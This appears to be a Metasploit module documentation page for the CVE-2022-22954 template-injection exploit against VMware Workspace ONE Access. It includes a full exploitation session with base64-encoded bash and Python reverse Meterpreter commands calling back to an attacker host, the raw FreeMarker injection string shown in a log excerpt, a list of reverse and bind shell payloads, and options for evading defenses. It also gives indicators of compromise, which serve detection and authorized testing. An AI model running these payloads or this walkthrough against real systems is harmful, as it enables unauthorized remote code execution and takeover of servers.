VMware Workspace ONE Access CVE-2022-22954 - Metasploit
This page contains detailed information about how to use the exploit/linux/http/vmware_workspace_one_access_cve_2022_22954 metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: VMware Workspace ONE Access CVE-2022-22954
Module: exploit/linux/http/vmware_workspace_one_access_cve_2022_22954
Source code: modules/exploits/linux/http/vmware_workspace_one_access_cve_2022_22954.rb
Disclosure date: 2022-04-06
Last modification time: 2022-05-03 11:47:31 +0000
Supported architecture(s): cmd, x86, x64
Supported platform(s): Linux, Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2022-22954
This module exploits CVE-2022-22954, an unauthenticated server-side template injection (SSTI) in VMware Workspace ONE Access, to execute shell commands as the "horizon" user.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
Basic Usage
msf > use exploit/linux/http/vmware_workspace_one_access_cve_2022_22954
msf exploit(vmware_workspace_one_access_cve_2022_22954) > exploit
Required Options
- RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
Knowledge Base
Vulnerable Application
Setup
Follow Installing and Configuring VMware Workspace ONE Access or simply import the OVA into a VMware hypervisor. The target should be exploitable out of the box.
- Import
identity-manager-21.08.0.1-19010796_OVF10.ova - Boot the VM
- Hax
Verification Steps
Scenarios
VMware Workspace ONE Access 21.08.0.1
msf6 > use exploit/linux/http/vmware_workspace_one_access_cve_2022_22954
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > options
Module options (exploit/linux/http/vmware_workspace_one_access_cve_2022_22954):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is random)
Payload options (cmd/unix/python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix Command
msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > set rhosts 192.168.0.5
rhosts => 192.168.0.5
msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > set lhost 192.168.0.4
lhost => 192.168.0.4
msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > set reverselistenerbindaddress 127.0.0.1
reverselistenerbindaddress => 127.0.0.1
msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > set verbose true
verbose => true
msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > run
[*] Started reverse TCP handler on 127.0.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Executing command: bash -c {eval,$({echo,ZWNobyBWR3h3NHNpeFMyeElx}|{base64,-d})}
[+] The target is vulnerable.
[*] Executing cmd/unix/python/meterpreter/reverse_tcp (Unix Command)
[*] Executing command: bash -c {eval,$({echo,ZWNobyBleGVjXChfX2ltcG9ydF9fXChcJ2Jhc2U2NFwnXCkuYjY0ZGVjb2RlXChfX2ltcG9ydF9fXChcJ2NvZGVjc1wnXCkuZ2V0ZW5jb2RlclwoXCd1dGYtOFwnXClcKFwnYVcxd2IzSjBJSE52WTJ0bGRDeDZiR2xpTEdKaGMyVTJOQ3h6ZEhKMVkzUXNkR2x0WlFwbWIzSWdlQ0JwYmlCeVlXNW5aU2d4TUNrNkNnbDBjbms2Q2drSmN6MXpiMk5yWlhRdWMyOWphMlYwS0RJc2MyOWphMlYwTGxOUFEwdGZVMVJTUlVGTktRb0pDWE11WTI5dWJtVmpkQ2dvSnpFNU1pNHhOamd1TUM0MEp5dzBORFEwS1NrS0NRbGljbVZoYXdvSlpYaGpaWEIwT2dvSkNYUnBiV1V1YzJ4bFpYQW9OU2tLYkQxemRISjFZM1F1ZFc1d1lXTnJLQ2MrU1Njc2N5NXlaV04yS0RRcEtWc3dYUXBrUFhNdWNtVmpkaWhzS1FwM2FHbHNaU0JzWlc0b1pDazhiRG9LQ1dRclBYTXVjbVZqZGloc0xXeGxiaWhrS1NrS1pYaGxZeWg2YkdsaUxtUmxZMjl0Y0hKbGMzTW9ZbUZ6WlRZMExtSTJOR1JsWTI5a1pTaGtLU2tzZXlkekp6cHpmU2tLXCdcKVxbMFxdXClcKSB8IGV4ZWMgJCh3aGljaCBweXRob24gfHwgd2hpY2ggcHl0aG9uMyB8fCB3aGljaCBweXRob24yKSAt}|{base64,-d})}
[*] Sending stage (40060 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:59441) at 2022-05-03 11:50:00 -0500
meterpreter > getuid
Server username: horizon
meterpreter > sysinfo
Computer : photon-machine
OS : Linux 4.19.217-1.ph3 #1-photon SMP Thu Dec 2 02:29:27 UTC 2021
Architecture : x64
System Language : en_US
Meterpreter : python/linux
meterpreter >
IOCs
/opt/vmware/horizon/workspace/logs/greenbox_web.log
[snip]
2022-05-03 16:49:58,796 WARN (Thread-289) [com.vmware.endusercatalog.ui.web.UiApplicationExceptionResolver.resolveException] <GreenBox> <correlation_id: e7eb8ce2-9bba-4526-8720-208d93e8913b> <tenant_id: 6g79dnjuixnnsar> <client_ip: 192.168.0.2> <username: > <device_id: > - Additional error info for requestId e7eb8ce2-9bba-4526-8720-208d93e8913b which resulted in return code 400, mapped to error code auth.context.invalid and, error is: {"code":"auth.context.invalid","message":"Authorization context is not valid. Login request received with tenant code: 6g79dnjuixnnsar, device id: null, device type: ${\"freemarker.template.utility.Execute\"?new()(\"bash -c {eval,$({echo,ZWNobyBleGVjXChfX2ltcG9ydF9fXChcJ2Jhc2U2NFwnXCkuYjY0ZGVjb2RlXChfX2ltcG9ydF9fXChcJ2NvZGVjc1wnXCkuZ2V0ZW5jb2RlclwoXCd1dGYtOFwnXClcKFwnYVcxd2IzSjBJSE52WTJ0bGRDeDZiR2xpTEdKaGMyVTJOQ3h6ZEhKMVkzUXNkR2x0WlFwbWIzSWdlQ0JwYmlCeVlXNW5aU2d4TUNrNkNnbDBjbms2Q2drSmN6MXpiMk5yWlhRdWMyOWphMlYwS0RJc2MyOWphMlYwTGxOUFEwdGZVMVJTUlVGTktRb0pDWE11WTI5dWJtVmpkQ2dvSnpFNU1pNHhOamd1TUM0MEp5dzBORFEwS1NrS0NRbGljbVZoYXdvSlpYaGpaWEIwT2dvSkNYUnBiV1V1YzJ4bFpYQW9OU2tLYkQxemRISjFZM1F1ZFc1d1lXTnJLQ2MrU1Njc2N5NXlaV04yS0RRcEtWc3dYUXBrUFhNdWNtVmpkaWhzS1FwM2FHbHNaU0JzWlc0b1pDazhiRG9LQ1dRclBYTXVjbVZqZGloc0xXeGxiaWhrS1NrS1pYaGxZeWg2YkdsaUxtUmxZMjl0Y0hKbGMzTW9ZbUZ6WlRZMExtSTJOR1JsWTI5a1pTaGtLU2tzZXlkekp6cHpmU2tLXCdcKVxbMFxdXClcKSB8IGV4ZWMgJCh3aGljaCBweXRob24gfHwgd2hpY2ggcHl0aG9uMyB8fCB3aGljaCBweXRob24yKSAt}|{base64,-d})}\")} and token revoke status: false."}, mapped exception class :class com.vmware.endusercatalog.auth.InvalidAuthContextException
[snip]
Go back to menu.
Msfconsole Usage
Here is how the linux/http/vmware_workspace_one_access_cve_2022_22954 exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/vmware_workspace_one_access_cve_2022_22954
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > show info
Name: VMware Workspace ONE Access CVE-2022-22954
Module: exploit/linux/http/vmware_workspace_one_access_cve_2022_22954
Platform: Unix, Linux
Arch: cmd, x86, x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2022-04-06
Provided by:
mr_me
Udhaya Prakash
wvu <[email protected]>
Module side effects:
ioc-in-logs
artifacts-on-disk
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Unix Command
1 Linux Dropper
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to
listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Description:
This module exploits CVE-2022-22954, an unauthenticated server-side
template injection (SSTI) in VMware Workspace ONE Access, to execute
shell commands as the "horizon" user.
References:
https://nvd.nist.gov/vuln/detail/CVE-2022-22954
https://www.vmware.com/security/advisories/VMSA-2022-0011.html
https://srcincite.io/advisories/src-2022-0005/
https://github.com/sherlocksecurity/VMware-CVE-2022-22954
https://attackerkb.com/topics/BDXyTqY1ld/cve-2022-22954/rapid7-analysis
Module Options
This is a complete list of options available in the linux/http/vmware_workspace_one_access_cve_2022_22954 exploit:
msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > show options
Module options (exploit/linux/http/vmware_workspace_one_access_cve_2022_22954):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to
listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is random)
Payload options (cmd/unix/python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix Command
Advanced Options
Here is a complete list of advanced options supported by the linux/http/vmware_workspace_one_access_cve_2022_22954 exploit:
msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > show advanced
Module advanced options (exploit/linux/http/vmware_workspace_one_access_cve_2022_22954):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, bourne, debug_asm, debug_write,
echo, printf, vbs, vbs_adodb, certutil, tftp, wget, curl, fetch, lwpre
quest, psh_invokewebrequest)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
CmdExecTimeout 3.5 yes Command execution timeout
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non
-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
ForceExploit false no Override check result
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerBindAddress no The specific IP address to bind to if different from SRVHOST
ListenerBindPort no The port to bind to if different from SRVPORT
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto
-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/5.0 (Macintosh; Intel Mac OS X no The User-Agent header to use for all requests
12.2; rv:97.0) Gecko/20100101 Firefox/9
7.0
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
HttpCookie no An optional value to use for the Cookie HTTP header
HttpHostHeader no An optional value to use for the Host HTTP header
HttpReferer no An optional value to use for the Referer HTTP header
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugBuild false no Enable debugging for the Python meterpreter
MeterpreterDebugLogging no The Meterpreter debug logging configuration, see https://github.com/rapid7/metasploit-fram
ework/wiki/Meterpreter-Debugging-Meterpreter-Sessions
MeterpreterTryToFork true no Fork a new process if the functionality is available
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but
directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/vmware_workspace_one_access_cve_2022_22954 module can exploit:
msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > show targets
Exploit targets:
Id Name
-- ----
0 Unix Command
1 Linux Dropper
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/vmware_workspace_one_access_cve_2022_22954 exploit:
msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
3 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
4 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
5 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
6 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
7 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
8 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
9 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
10 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
11 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
12 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
13 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
14 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
15 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
16 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
17 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
18 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
19 payload/cmd/unix/python/meterpreter/bind_tcp normal No Python Exec, Python Meterpreter, Python Bind TCP Stager
20 payload/cmd/unix/python/meterpreter/bind_tcp_uuid normal No Python Exec, Python Meterpreter, Python Bind TCP Stager with UUID Support
21 payload/cmd/unix/python/meterpreter/reverse_http normal No Python Exec, Python Meterpreter, Python Reverse HTTP Stager
22 payload/cmd/unix/python/meterpreter/reverse_https normal No Python Exec, Python Meterpreter, Python Reverse HTTPS Stager
23 payload/cmd/unix/python/meterpreter/reverse_tcp normal No Python Exec, Python Meterpreter, Python Reverse TCP Stager
24 payload/cmd/unix/python/meterpreter/reverse_tcp_ssl normal No Python Exec, Python Meterpreter, Python Reverse TCP SSL Stager
25 payload/cmd/unix/python/meterpreter/reverse_tcp_uuid normal No Python Exec, Python Meterpreter, Python Reverse TCP Stager with UUID Support
26 payload/cmd/unix/python/meterpreter_bind_tcp normal No Python Exec, Python Meterpreter Shell, Bind TCP Inline
27 payload/cmd/unix/python/meterpreter_reverse_http normal No Python Exec, Python Meterpreter Shell, Reverse HTTP Inline
28 payload/cmd/unix/python/meterpreter_reverse_https normal No Python Exec, Python Meterpreter Shell, Reverse HTTPS Inline
29 payload/cmd/unix/python/meterpreter_reverse_tcp normal No Python Exec, Python Meterpreter Shell, Reverse TCP Inline
30 payload/cmd/unix/python/pingback_bind_tcp normal No Python Exec, Python Pingback, Bind TCP (via python)
31 payload/cmd/unix/python/pingback_reverse_tcp normal No Python Exec, Python Pingback, Reverse TCP (via python)
32 payload/cmd/unix/python/shell_bind_tcp normal No Python Exec, Command Shell, Bind TCP (via python)
33 payload/cmd/unix/python/shell_reverse_tcp normal No Python Exec, Command Shell, Reverse TCP (via python)
34 payload/cmd/unix/python/shell_reverse_tcp_ssl normal No Python Exec, Command Shell, Reverse TCP SSL (via python)
35 payload/cmd/unix/python/shell_reverse_udp normal No Python Exec, Command Shell, Reverse UDP (via python)
36 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
37 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
38 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
39 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
40 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
41 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
42 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
43 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
44 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
45 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
46 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
47 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
48 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
49 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
50 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
51 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
52 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
53 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
54 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
55 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
56 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
57 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
58 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
59 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
60 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
61 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
62 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
63 payload/generic/custom normal No Custom Payload
64 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
65 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
66 payload/generic/ssh/interact normal No Interact with Established SSH Connection
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/vmware_workspace_one_access_cve_2022_22954 exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-no
rmal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Related Pull Requests
- #16530 Merged Pull Request: Update PiHole module to not wait for sudo input
- #16514 Merged Pull Request: Add Zoneminder lang exec module
- #16445 Merged Pull Request: Add support for Meterpreter logging to file
- #16525 Merged Pull Request: Fix VMware Workspace ONE Access CVE-2022-22954
- #16462 Merged Pull Request: gdb_server_exec: Cleanup and add support for armle/aarch64 architectures
- #16512 Merged Pull Request: Add VMware Workspace ONE Access CVE-2022-22954
References
- CVE-2022-22954
- https://www.vmware.com/security/advisories/VMSA-2022-0011.html
- https://srcincite.io/advisories/src-2022-0005/
- https://github.com/sherlocksecurity/VMware-CVE-2022-22954
- https://attackerkb.com/topics/BDXyTqY1ld/cve-2022-22954/rapid7-analysis
See Also
Check also the following modules related to this module:
- exploit/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144
- exploit/linux/http/vmware_vcenter_analytics_file_upload
- exploit/linux/http/vmware_vcenter_vsan_health_rce
- exploit/linux/http/vmware_view_planner_4_6_uploadlog_rce
- exploit/linux/http/vmware_vrops_mgr_ssrf_rce
- exploit/linux/local/vmware_alsa_config
- exploit/linux/local/vmware_mount
- exploit/linux/local/vmware_workspace_one_access_certproxy_lpe
- exploit/linux/ssh/vmware_vdp_known_privkey
- auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass
- auxiliary/gather/vmware_vcenter_vmdir_ldap
- auxiliary/scanner/vmware/vmware_enum_permissions
- auxiliary/scanner/vmware/vmware_enum_sessions
- auxiliary/scanner/vmware/vmware_enum_users
- auxiliary/scanner/vmware/vmware_enum_vms
- auxiliary/scanner/vmware/vmware_host_details
- auxiliary/scanner/vmware/vmware_http_login
- auxiliary/scanner/vmware/vmware_screenshot_stealer
- auxiliary/scanner/vmware/vmware_server_dir_trav
- auxiliary/scanner/vmware/vmware_update_manager_traversal
- exploit/multi/http/vmware_vcenter_log4shell
- exploit/multi/http/vmware_vcenter_uploadova_rce
- exploit/osx/local/vmware_bash_function_root
- exploit/osx/local/vmware_fusion_lpe
- exploit/windows/http/vmware_vcenter_chargeback_upload
- auxiliary/admin/vmware/poweroff_vm
- auxiliary/admin/vmware/poweron_vm
- auxiliary/admin/vmware/tag_vm
- auxiliary/admin/vmware/terminate_esx_sessions
- auxiliary/admin/vmware/vcenter_forge_saml_token
- auxiliary/admin/vmware/vcenter_offline_mdb_extract
- auxiliary/scanner/vmware/esx_fingerprint
- auxiliary/scanner/vmware/vmauthd_login
- auxiliary/scanner/vmware/vmauthd_version
Authors
- mr_me
- Udhaya Prakash
- wvu
Version
This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.
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